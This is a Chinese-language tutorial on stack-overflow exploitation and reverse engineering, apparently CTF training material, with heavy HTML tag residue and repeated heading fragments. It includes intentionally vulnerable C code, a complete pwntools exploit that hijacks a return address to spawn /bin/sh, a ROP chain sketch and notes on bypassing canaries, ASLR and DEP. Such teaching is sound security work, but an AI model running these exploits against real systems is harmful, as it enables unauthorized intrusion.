栈溢出与逆向工程基础教学文档<\/h1>

第一章栈溢出基础<\/h2>

1.1 函数调用栈原理<\/h3>

函数调用过程<\/h4>

call指令本质<\/strong>：push rip<\/code> + jmp<\/code>到被调用函数<\/li>

调用栈变化：调用者将参数压栈（x86-64中前6个参数使用寄存器）<\/li> 执行call指令：保存返回地址（push rip）<\/li> 被调用函数保存调用者rbp（push rbp）<\/li> 分配局部变量空间（sub rsp, XXh）<\/li> <\/ol> <\/li> <\/ul> 栈帧结构<\/h4> 高地址 [调用者栈帧] [参数n] ... [参数1] [返回地址] ← rip被压入的位置 [旧的rbp] ← rbp被压入的位置 [局部变量] ← rsp指向的位置低地址 <\/code><\/pre> 1.2 栈溢出利用技术<\/h3> 基本溢出原理<\/h4> \/\/ 漏洞代码示例 <\/span><\/span><\/span><\/span>int<\/span> vulnerable_function<\/span>() { <\/span><\/span> char<\/span> buf[64<\/span>]; \/\/ 栈上分配64字节缓冲区 <\/span><\/span><\/span><\/span> read(0<\/span>, buf, 0x100<\/span>); \/\/ 可写入0x100字节，造成溢出 <\/span><\/span><\/span><\/span> return<\/span> 0<\/span>; <\/span><\/span>} <\/span><\/span><\/code><\/pre>利用步骤<\/h4> 覆盖返回地址<\/strong>：通过溢出覆盖栈上的返回地址<\/li> 控制程序流<\/strong>：将返回地址修改为后门函数地址<\/li> 执行shellcode<\/strong>：获得系统控制权<\/li> <\/ol> 1.3 栈对齐问题（16字节对齐）<\/h3> 对齐原理<\/h4> System V AMD64 ABI要求栈指针rsp在函数调用时必须16字节对齐<\/li> 对齐破坏会导致某些指令（如movaps）触发异常<\/li> <\/ul> 对齐验证<\/h4> ; 函数开始时检查对齐 push rbp ; rsp减8 mov rbp, rsp ; 当前rsp可能不对齐 sub rsp, 0x20 ; 分配局部变量空间 <\/code><\/pre> 对齐解决方案<\/h4> 添加ret指令<\/strong>：在payload中插入ret gadget，调整rsp<\/li> 地址+1跳过push<\/strong>：绕过某些栈调整指令<\/li> 使用对齐gadget<\/strong>：寻找专门的栈对齐gadget<\/li> <\/ol> 第二章实际漏洞利用<\/h2> 2.1 基础栈溢出利用<\/h3> 示例漏洞代码<\/h4> int<\/span> backdoor<\/span>() { <\/span><\/span> return<\/span> system("\/bin\/sh"<\/span>); <\/span><\/span>} <\/span><\/span> <\/span><\/span>int<\/span> main<\/span>() { <\/span><\/span> char<\/span> buf[64<\/span>]; \/\/ rbp-0x40 <\/span><\/span><\/span><\/span> read(0<\/span>, buf, 0x100<\/span>); \/\/ 溢出漏洞 <\/span><\/span><\/span><\/span> return<\/span> 0<\/span>; <\/span><\/span>} <\/span><\/span><\/code><\/pre>利用要点<\/h4> 偏移计算<\/strong>：buf到返回地址的偏移为0x40 + 8（保存的rbp）<\/li> payload构造<\/strong>：填充数据 + 后门函数地址<\/li> 栈平衡处理<\/strong>：考虑对齐要求<\/li> <\/ul> 完整exp示例<\/h4> from<\/span> pwn import<\/span> *<\/span> <\/span><\/span> <\/span><\/span>io =<\/span> remote('target'<\/span>, port) <\/span><\/span>context.<\/span>arch =<\/span> 'amd64'<\/span> <\/span><\/span> <\/span><\/span># 计算偏移<\/span> <\/span><\/span>offset =<\/span> 0x40<\/span> +<\/span> 8<\/span> # buf大小 + 保存的rbp<\/span> <\/span><\/span> <\/span><\/span># 获取gadget和函数地址<\/span> <\/span><\/span>ret =<\/span> 0x40116F<\/span> # ret指令地址，用于栈对齐<\/span> <\/span><\/span>backdoor =<\/span> 0x401156<\/span> # 后门函数地址<\/span> <\/span><\/span> <\/span><\/span># 构造payload<\/span> <\/span><\/span>payload =<\/span> b<\/span>'a'<\/span> *<\/span> offset <\/span><\/span>payload +=<\/span> p64(ret) # 先执行ret调整栈对齐<\/span> <\/span><\/span>payload +=<\/span> p64(backdoor) # 执行后门函数<\/span> <\/span><\/span> <\/span><\/span>io.<\/span>send(payload) <\/span><\/span>io.<\/span>interactive() <\/span><\/span><\/code><\/pre>2.2 复杂情况处理<\/h3> 字符串比较绕过<\/h4> \/\/ 需要绕过的认证逻辑 <\/span><\/span><\/span><\/span>if<\/span> (!<\/span>strcmp(buf, "admin"<\/span>) &&<\/span> !<\/span>strcmp(s1, "123456"<\/span>)) { <\/span><\/span> vuln(); \/\/ 存在漏洞的函数 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>strcmp函数特性<\/strong>：<\/p> 遇到NULL字节(\x00<\/code>)停止比较<\/li> 可输入admin\x00<\/code>+填充绕过长度检查<\/li> 注意输入函数特性（read不会截断，scanf会截断）<\/li> <\/ul> 堆指针保护<\/h4> void<\/span> vuln<\/span>() { <\/span><\/span> char<\/span> dest[72<\/span>]; <\/span><\/span> void<\/span> *<\/span>buf =<\/span> malloc(0x100<\/span>); <\/span><\/span> read(0<\/span>, buf, 0x1000<\/span>); \/\/ 堆溢出 <\/span><\/span><\/span><\/span> memcpy(dest, buf, 0x100<\/span>); \/\/ 栈溢出 <\/span><\/span><\/span><\/span> free(buf); \/\/ 需要保持buf为有效堆指针 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>利用要点<\/strong>：<\/p> 保持buf指针有效性，避免free崩溃<\/li> 利用printf泄漏堆地址<\/li> 构造ROP链时考虑指针完整性<\/li> <\/ul> 第三章逆向工程基础<\/h2> 3.1 Python程序逆向<\/h3> PyInstaller打包程序解包<\/h4> # 使用pyinstxtractor解包<\/span> <\/span><\/span>python pyinstxtractor.py target.exe <\/span><\/span> <\/span><\/span># 反编译pyc文件<\/span> <\/span><\/span>uncompyle6 target.pyc > target.py <\/span><\/span><\/code><\/pre>简单逆向示例<\/h4> # 加密逻辑<\/span> <\/span><\/span>flag_hex =<\/span> '53 44 50 43 53 45 43 7b 72 65 76 65 72 73 65 5f 71 69 61 6e 5f 64 61 6f 7d 0a'<\/span> <\/span><\/span>correct_flag =<\/span> bytes.<\/span>fromhex(flag_hex).<\/span>decode('utf-8'<\/span>).<\/span>strip() <\/span><\/span> <\/span><\/span># 直接解密<\/span> <\/span><\/span>print(correct_flag) # 输出flag<\/span> <\/span><\/span><\/code><\/pre>3.2 Base64变异算法分析<\/h3> 标准Base64编码表<\/h4> ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/<\/code><\/p> 变异Base64识别<\/h4> 换表检测<\/strong>：查找不同的编码表<\/li> 索引变异<\/strong>：对6-bit索引进行异或等操作<\/li> 自定义填充<\/strong>：使用非=<\/code>的填充字符<\/li> <\/ol> 变异Base64解密<\/h4> import<\/span> base64 <\/span><\/span> <\/span><\/span># 标准表和解密表<\/span> <\/span><\/span>std_table =<\/span> "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/"<\/span> <\/span><\/span>custom_table =<\/span> "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+\/"<\/span> <\/span><\/span> <\/span><\/span>encrypted =<\/span> "YeBCCdVNCf4eMTNjXjFjXeNHJjNwFNlwWPxHLwZfXdxtFwZkGgZkHC=="<\/span> <\/span><\/span> <\/span><\/span># 换表解密<\/span> <\/span><\/span>decoded =<\/span> base64.<\/span>b64decode(encrypted.<\/span>translate(str.<\/span>maketrans(custom_table, std_table))) <\/span><\/span>print(decoded) <\/span><\/span><\/code><\/pre>3.3 多层加密逆向<\/h3> 复合加密示例<\/h4> import<\/span> base64 <\/span><\/span> <\/span><\/span>def<\/span> decrypt_complex<\/span>(ciphertext, key): <\/span><\/span> # 第一层：Base64换表解码<\/span> <\/span><\/span> std_table =<\/span> "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/"<\/span> <\/span><\/span> custom_table =<\/span> "VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE\/+l01OFg"<\/span> <\/span><\/span> <\/span><\/span> # Base64换表解码<\/span> <\/span><\/span> layer1 =<\/span> base64.<\/span>b64decode(ciphertext.<\/span>translate(str.<\/span>maketrans(custom_table, std_table))) <\/span><\/span> <\/span><\/span> # 第二层：轮密钥异或解密<\/span> <\/span><\/span> plaintext =<\/span> ""<\/span> <\/span><\/span> for<\/span> i in<\/span> range(len(layer1)): <\/span><\/span> decrypted_char =<\/span> layer1[i] ^<\/span> ord(key[i %<\/span> len(key)]) <\/span><\/span> plaintext +=<\/span> chr(decrypted_char) <\/span><\/span> <\/span><\/span> return<\/span> plaintext <\/span><\/span> <\/span><\/span># 使用示例<\/span> <\/span><\/span>cipher =<\/span> "QY\/sxQrVKqD77KCTsVy97GHpwV4PMGjKAaYR7q76X7OxtUQbNudppkxAAk11MYHxxVDOsUaQMZDRrmCbQPyFznMFKxjpTmCssaO9DLD1i2i+9nVNVKCVsmDeMNoQUtrupt26AaYksZUTdu1ExVDnttrJijMWMKVj5edKU7CipqD7BKCs7YWCwZhw7KjSpj7lVwSwxtN4i9VzVV7iTj75xLxCQqqF6wjsxVDbs7aQrxSmMPuJxmoFznSOTGhAUGrwsSULTPh9wZMq9G7VQLG3VNVprjjsVx4PsGCpUGURMn497GSseSdaCbu="<\/span> <\/span><\/span>key =<\/span> "Roses"<\/span> <\/span><\/span>result =<\/span> decrypt_complex(cipher, key) <\/span><\/span>print(result) <\/span><\/span><\/code><\/pre>第四章高级技巧<\/h2> 4.1 花指令处理<\/h3> 常见花指令模式<\/h4> 无效跳转<\/strong>：jz<\/code>+jmp<\/code>组合，中间插入垃圾字节<\/li> 异常调用<\/strong>：插入无效的call<\/code>指令<\/li> 代码混淆<\/strong>：通过无意义指令干扰反汇编<\/li> <\/ol> 花指令清除方法<\/h4> 手动nop<\/strong>：将垃圾字节替换为nop(0x90)<\/li> IDA Python脚本<\/strong>：自动化识别和修复<\/li> 动态调试<\/strong>：运行时代码实际执行路径分析<\/li> <\/ol> 4.2 漏洞利用防护绕过<\/h3> 栈保护绕过<\/h4> Canary绕过<\/strong>：泄漏canary值或覆盖特定条件<\/li> ASLR绕过<\/strong>：利用信息泄漏获取基地址<\/li> DEP绕过<\/strong>：使用ROP技术<\/li> <\/ul> 现代防护对抗<\/h4> # ROP链构造示例<\/span> <\/span><\/span>rop_chain =<\/span> [ <\/span><\/span> pop_rdi_ret, # pop rdi; ret<\/span> <\/span><\/span> binsh_addr, # "\/bin\/sh"字符串地址<\/span> <\/span><\/span> system_plt # system函数地址<\/span> <\/span><\/span>] <\/span><\/span> <\/span><\/span># 构造完整payload<\/span> <\/span><\/span>payload =<\/span> padding +<\/span> flat(rop_chain) <\/span><\/span><\/code><\/pre>第五章实践练习<\/h2> 5.1 基础练习<\/h3> 实现基本的栈溢出利用<\/li> 处理16字节栈对齐问题<\/li> 编写完整的exp脚本<\/li> <\/ol> 5.2 中级练习<\/h3> 分析变异Base64算法<\/li> 处理多层加密的逆向<\/li> 修复花指令并分析真实逻辑<\/li> <\/ol> 5.3 高级练习<\/h3> 实现ROP链构造<\/li> 绕过现代防护机制<\/li> 编写自动化分析工具<\/li> <\/ol> 总结<\/h2> 本文档详细介绍了栈溢出原理、逆向工程基础知识和实际利用技巧。重点包括函数调用栈机制、栈对齐问题、变异算法分析和花指令处理等关键知识点。通过理论结合实践的方式，帮助学习者建立完整的二进制安全知识体系。<\/p> 关键要点回顾：<\/p> 栈溢出本质是覆盖返回地址控制程序流<\/li> 栈对齐是x64架构下的重要考虑因素<\/li> 逆向工程需要耐心分析算法逻辑<\/li> 实际利用需要考虑各种防护机制的绕过<\/li> <\/ul> 建议学习者通过实际动手实践，逐步掌握这些技术，并在合法授权的环境下进行测试和学习。<\/p>

栈溢出与逆向工程基础教学文档<\/h1>

第一章 栈溢出基础<\/h2>

1.1 函数调用栈原理<\/h3>

1.2 栈溢出利用技术<\/h3>

1.3 栈对齐问题（16字节对齐）<\/h3>

第二章 实际漏洞利用<\/h2>

2.1 基础栈溢出利用<\/h3>

2.2 复杂情况处理<\/h3>

第三章 逆向工程基础<\/h2>

3.1 Python程序逆向<\/h3>

3.2 Base64变异算法分析<\/h3>

标准Base64编码表<\/h4> ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/<\/code><\/p>

3.3 多层加密逆向<\/h3>

第四章 高级技巧<\/h2>

4.1 花指令处理<\/h3>

4.2 漏洞利用防护绕过<\/h3>

第五章 实践练习<\/h2>

第一章栈溢出基础<\/h2>

第二章实际漏洞利用<\/h2>

第三章逆向工程基础<\/h2>

标准Base64编码表<\/h4>
`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/<\/code><\/p>`

第四章高级技巧<\/h2>

第五章实践练习<\/h2>